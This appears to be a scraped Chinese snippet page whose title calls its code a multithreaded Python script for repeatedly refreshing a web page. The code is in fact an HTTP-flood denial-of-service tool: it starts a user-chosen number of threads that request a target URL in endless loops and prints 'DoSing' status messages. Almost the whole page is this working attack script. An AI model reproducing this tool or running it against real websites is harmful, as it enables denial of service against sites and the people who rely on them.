python多线程不断刷新网页的代码，python多线程刷新,import threa

python多线程不断刷新网页的代码，python多线程刷新,import threa

import threadimport urllib2import sysimport timedef usage():    print 'Usage: python ' + sys.argv[0] + ' <url> <threads>'    sys.exit()def reloader(numthread):    url = sys.argv[1]    numreloads = 0    while True:        try:            urllib2.urlopen(url)            numreloads = numreloads + 1        except KeyboardInterrupt:            sys.exit('\nProcess aborted.')def splash():    print 'welcome to http://www.byrx.net/codes 'if len(sys.argv) < 3:    usage()if __name__ == '__main__':    splash()    print '[!] DoSing ' + sys.argv[1] + ' with ' + sys.argv[2] + ' threads.'    for reloadspawn in range(0, int(sys.argv[2])):        thread.start_new_thread(reloader, (reloadspawn,))    sys.stdout.write('')    dosind = ['-', '\\', '|', '/']    dosstat = 0    while True:        try:            sys.stdout.write('\r' + dosind[dosstat % 4] + ' DoSing...')            sys.stdout.flush()            dosstat = dosstat + 1            time.sleep(0.25)        except KeyboardInterrupt:            sys.exit('\nProcess aborted.')